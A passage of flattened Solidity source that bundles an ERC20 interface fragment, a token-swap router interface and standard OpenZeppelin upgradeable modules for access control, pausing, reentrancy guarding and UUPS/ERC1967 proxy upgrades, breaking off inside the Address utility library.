function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
interface IRouter {
function tradeERC20(
IERC20 collectedToken,
IERC20 burnToken,
uint256 amount
) external returns (uint256 tokensReceived);
function tradeNativeTokenForERC20(IERC20 output, uint256 inputAmount) external payable returns (uint256);
function addSwapPath(
address input,
address output,
address[] memory path
) external;
function wrappedNative() external returns (address);
// function getDexAddress() external returns(address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967UpgradeUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../beacon/IBeaconUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/StorageSlotUpgradeable.sol";
import "../utils/Initializable.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
